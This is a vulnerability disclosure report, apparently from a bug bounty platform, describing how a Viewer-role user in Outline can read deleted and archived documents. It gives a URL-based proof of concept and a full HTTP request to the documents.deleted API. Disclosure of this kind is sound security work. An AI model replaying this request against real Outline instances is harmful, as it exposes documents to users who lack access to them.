Documents in trash accessible by Viewer role in outline/outline
Valid
Reported on
Jul 3rd 2022
Description
Once a document is archived or deletec, there is no way to access it through the UI or the Document link. But, the API gives the file information and content. This is same with archived files.
Proof of Concept
- Give a user
Viewer
role. - Visit
https://your.getoutline.com/trash
orhttps://you.getoutline.com/archive
as a viewer (GUI doesn't have link to archive and trash pages and any archived or deleted document URL returnsNot Found
messages unless we open it via the gives URLs (/trash and /archive)) - or Send the following HTTP request with viewer's accessToken:
POST /api/documents.deleted HTTP/1.1
Host: softwarica.getoutline.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 25
Cache-Control: no-cache
Pragma: no-cache
X-Editor-Version: 12.0.0
Origin: https://you.getoutline.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Authorization: Bearer <token>
Connection: close
{"limit":25,"offset":0}
Impact
Unauthorized access to deleted and archived documents and its contents
We are processing your report and will contact the
outline
team within 24 hours.
a year ago
Niraj Khatiwada modified the report
a year ago
Niraj Khatiwada modified the report
a year ago
The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
The researcher's credibility has increased: +7
documents.tsx#L23-L45
has been validated
documents.ts#L209
has been validated
documents.ts#L165
has been validated
to join this conversation